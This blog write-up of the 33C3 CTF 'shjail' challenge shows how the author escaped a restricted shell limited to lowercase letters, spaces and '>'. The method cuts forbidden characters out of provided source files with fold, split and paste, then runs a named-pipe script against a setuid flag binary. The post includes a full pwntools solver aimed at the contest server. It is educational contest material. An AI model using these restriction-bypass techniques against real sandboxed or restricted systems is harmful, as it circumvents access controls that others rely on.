33C3 CTF – shjail

The goal of this challenge is to successfully run (in a shell on a provided server) a setuid binary flag which asks you to repeat a number, and then (if you repeat it successfully) outputs the flag:

jon@jon-s76:~/Workspace/ctf/33c3/shjail/test$ flag
Could you please type this number back to me?
16399605611210210131
16399605611210210131
33C3_XXXXXXXXXXXXXXXXX (the real flag)

This would be trivial but for one interesting restriction of the provided shell: the only characters you are allowed to type are lower-case letters, spaces, and the ‘>’ symbol. In addition, the shell also closes stdin and stderr for any processes spawned by the shell (so you don’t even get a chance to type anything back, let alone a number, upon running flag). To be nice, they do give us the rust code for the shell and the flag binary (in files shellrs and flagrs) along with a readme file that explains all this.

What can you even do with this shell? Well, for starters, you can view the files in the current directory via cat filename, as long as the filename is fully lowercase. Since we’re allowed to use the ‘>’ symbol, we can also write (or append) the output of any command we can run to a file of our choosing. Finally, we can also run arbitrary bash scripts via bash scriptname. If we could somehow write a bash script that correctly interacted with the flag process, we’d be set.

Here is one possible bash script that does the job:

mkfifo inpipe outpipe
flag < inpipe > outpipe 2> theflag &
exec 3> inpipe
read < outpipe
read < outpipe 
echo $REPLY > inpipe

[Aside: So actually, the first bash script I wrote completely failed, since I didn’t realize that the flag was printed to stderr instead of stdout. I was working on this late the night before the end of the CTF, and I finally just gave up on this challenge and went to sleep. Luckily another member of our team (alekseys) managed to miraculously read through my terrible python code for this challenge while I was asleep and fix my script, so we finally ended up solving the challenge. I’ve only been able to test out the above script locally since the CTF servers are down at the time of this writeup].

Unfortunately, this bash script has many characters we’re not allowed to type — ‘$’, ‘<', '&', the capital letters in 'REPLY', the digits '2' and '3' — and writing a bash script without any of these characters seems excessively difficult. How, then, can we possibly get these characters into a file (let alone in the correct order)?

We do have one advantage – it turns out that the Rust code they provided for the shell and flag binaries contains a bunch of these forbidden characters. This suggests a 'ransom note' approach; let's just cut up these files, take the characters we want, and reassemble them to get the script we need.

We've therefore reduced the problem to figuring out how to extract a character from a file. At this point, we look through all the standard Unix tools to see which ones could be useful. It's important that we use these tools without any additional flags or parameters that require forbidden characters; there are tools like cut, sed, and awk that could probably easily extract a specific character of a file were it not for this restriction.

The main tools we'll use are:

  • grep : this let’s us extract a specific line of a file, as long as there is some unique identifier in that line. For example, grep iter shellrs > line extracts the 8th line of shellrs (which contains the string ‘iter’) and outputs it to the file line.
  • echo/printf: we can use both of these to generate files that contain allowable characters. For example, printf a > tmp creates a file tmp whose content is a. Importantly, echo automatically appends a newline after the text whereas printf does not.
  • nl: this tool automatically adds line numbers to files. This is useful for getting files that contain all the digits (the original files don’t contain ‘2’ or ‘3’ anywhere).
  • cat: we briefly mentioned this above, but one thing not covered there is that we can use this to concatenate (hence the name) files. For example, after running cat tmpa tmpb > tmpc , tmpc will be the concatenation of tmpa and tmpb.
  • fold: this automatically formats text so that each line contains at most 80 characters, truncating lines longer than 80 characters and moving the excess to the next line. We’ll see why this is important soon.
  • split: this splits long files into several smaller files; in particular, by default it splits a file into chunks of 1000 lines. As with fold, we’ll see why this is important soon.
  • paste: this pastes files together horizontally, inserting tabs between lines of different files (see here for an example). We’ll need to use this instead of cat when files have trailing newlines; e.g., if we have files containing ‘mkfifo\n’, ‘inputpipe\n’, and ‘outputpipe\n’, then cating them together will give ‘mkfifo\ninputpipe\noutputpipe\n’, which won’t run as a valid bash script, but pasteing them together will give ‘mkfifo\tinputpipe\toutputpipe\n’, which will run.

Let’s begin by figuring out how to extract a specific character of a specific file. With grep, we can usually extract the corresponding line of that file, so let’s assume our file is a single line. Let’s also assume this line isn’t longer than 80 characters (this is true for all the lines we deal with).

We’ll start by abusing fold to get this character on a line of its own. Let’s say the character we want is the nth character — e.g., the 8th character in the following string:

extract$me

We can use printf and cat to prepend (80-n) dummy characters so that this character becomes the 80th character in the line (shown with a line limit of 40 characters below):

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract$me

When we run fold on this, everything after our desired character moves to the next line:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract$
me

If we prepend one more character…

baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract$
me

…and run fold again…

baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract
$
me

we get the character we want on its own line! Now, ideally we’d want to get it into its own file. To do this, we use a similar trick, but this time with split. If we prepend 998 lines to this file and then run split, the third line of the above code gets removed and placed in its own file. If we then prepend one more line and run split once more, we’re rewarded with a file containing just our desired character (and a newline).

Now we’re in really good shape! We can get pretty much all of the characters we need, all in their own files. There are just a couple more laundry list items to take care of:

  • Dealing with newlines: unfortunately, the single-character files we obtain in this way are all new-line terminated. This makes it annoying to generate tokens like <2 (we can try using paste, but this will insert a tab between these two characters). Luckily, we can remove the last character of a file with head -c 1. This requires us to be able to generate the -c token somehow, but fortunately this happens to be a substring of the shellrs file. In this way, we can remove all trailing newlines from our files.
  • Capital letters: we also need to somehow generate capital letters to get the capital letters in ‘REPLY’. Some of these capital letters occur naturally in the provided source, but not all of them. Luckily, we can capitalize a file with the command dd conv=ucase filename, so we can also throw this into a bash script with the pieces we have so far and run it on a file containing ‘reply’.

With all of these pieces in hand, we can paste the pieces of our final bash script together and run it. Here is some (barely readable) Python code that automates this process.

from hashlib import sha256
from pwn import *

PROOF_OF_WORK_HARDNESS = 2**24

def proof_of_work_okay(task, solution):
    h = sha256(task.encode('ASCII') + solution.to_bytes(4, 'little')).digest()
    return int.from_bytes(h, 'little') < 1/PROOF_OF_WORK_HARDNESS * 2**256

def solve_proof_of_work(task):
    """ You can use this to solve the proof of work. """
    print("Creating proof of work for {}".format(task))
    for i in range(0, 2**32):
        if i % 1000000 == 0: print(i)
        if proof_of_work_okay(task, i):
            print("Solution: {}".format(i))
            return i
    raise ValueError("could not create proof of work")

conn = remote('78.46.224.92', 666)

print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
line = conn.recvline()

challenge = line.split()[-1]
print(challenge)

sol = solve_proof_of_work(challenge.decode())
conn.sendline(str(sol))

conn.sendline('nl shellrs > numbered')


def double():
    print('doubling...')
    conn.sendline('cat vpad vpad > tmp')
    conn.sendline('mv tmp vpad')

def addone():
    print('adding one...')
    conn.sendline('echo a >> vpad')

def make_vpad(N):
    if N==1:
        addone()
        return
    make_vpad(N//2)
    double()
    if N%2==1:
        addone()

make_vpad(998)

conn.sendline('echo a > oneline')

conn.sendline('printf z > tokenz')
conn.sendline('grep arg shellrs > line')
conn.sendline('cat tokenz line > tmp')
conn.sendline('mv tmp line')
conn.sendline('grep z line > flagcline')

FOLDL = 80

def extract_substring(fname, st, end, outfile):
    conn.sendline('cp {} xline'.format(fname))
    conn.sendline('printf {} > hpad'.format('a'*(FOLDL-end)))
    conn.sendline('cat hpad xline > tmp')
    conn.sendline('mv tmp xline')
    conn.sendline('fold xline > tmp')
    conn.sendline('mv tmp xline')

    conn.sendline('printf {} > hpad'.format('a'*(end-st)))
    conn.sendline('cat hpad xline > tmp')
    conn.sendline('mv tmp xline')
    conn.sendline('fold xline > tmp')
    conn.sendline('mv tmp xline')

    conn.sendline('cat vpad xline > tmp')
    conn.sendline('mv tmp xline')
    conn.sendline('split xline')
    conn.sendline('mv xaa xline')
    conn.sendline('cat oneline xline > tmp')
    conn.sendline('mv tmp xline')
    conn.sendline('split xline')

    conn.sendline('mv xab {}'.format(outfile))

def extract_char(fname, ind, outfile):
    extract_substring(fname, ind, ind+1, outfile)

extract_substring('flagcline', 15, 17, 'flagc')

cnames = {' ': 'cspace',
          '<': 'cless',
          '=': 'cequal',
          '>': 'cmore',
          '&': 'cand',
          '$': 'cdollar',
          '1': 'cone',
          '2': 'ctwo',
          '3': 'cthree'}

IMP_CHARS = '<>&$3'
GREPS = [('grep iter shellrs > line',
         [
            (18, cnames['&']),
            (28, cnames['<']),
            (29, cnames['=']),
            (70, cnames['>'])
         ]),
         ('grep setuid flagrs > line',
         [
            (32, cnames['$'])
         ]),
         ('grep executing numbered > line',
         [
            (5, cnames['1'])
         ]),
         ('grep self numbered > line',
         [
            (5, cnames['2'])
         ]),
         ('grep process numbered > line',
         [
            (5, cnames['3'])
         ])]

for grep, xs in GREPS:
    conn.sendline(grep)
    for ind, cname in xs:
        extract_char('line', ind, cname)

def make_token(s):
    fname = 'txt'+s
    conn.sendline('printf {} > {}'.format(s,fname))

make_token('head')
conn.sendline('paste txthead flagc cone > guillotine')

for c in cnames:
    cname = cnames[c]
    conn.sendline('echo {} > txtcname'.format(cname))
    conn.sendline('paste guillotine txtcname > script')
    conn.sendline('bash script > tmp')
    conn.sendline('mv tmp {}'.format(cname))

# generate caps script

make_token('conv')
make_token('ucase')
conn.sendline('cat txtconv cequal txtucase > ddopt')
make_token('dd')
make_token('line')
make_token('reply')
make_token('txtreply')
conn.sendline('paste txtdd ddopt cless txttxtreply > enrage')
conn.sendline('bash enrage > angryreply')

conn.sendline('cat cdollar angryreply > dollarreply')

conn.sendline('cat cthree cmore > notaheart')
conn.sendline('cat ctwo cmore > twomore')

# assemble final script
words = ['mkfifo', 'inpipe', 'outpipe', 'flag', 'exec', 'read', 'echo', 'theflag']
for word in words:
    make_token(word)

solve_script = [
    ['txtmkfifo', 'txtinpipe', 'txtoutpipe'],
    ['txtflag', 'cless', 'txtinpipe', 'cmore', 'txtoutpipe', 'twomore', 'txttheflag', 'cand'],
    ['txtexec', 'notaheart', 'txtinpipe'],
    ['txtread', 'cless', 'txtoutpipe'],
    ['txtread', 'cless', 'txtoutpipe'],
    ['txtecho', 'dollarreply', 'cmore', 'txtinpipe']
]

conn.sendline('touch solve')
for row in solve_script:
    conn.sendline('paste {} > sline'.format(' '.join(row)))
    conn.sendline('cat sline >> solve')

conn.interactive()
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s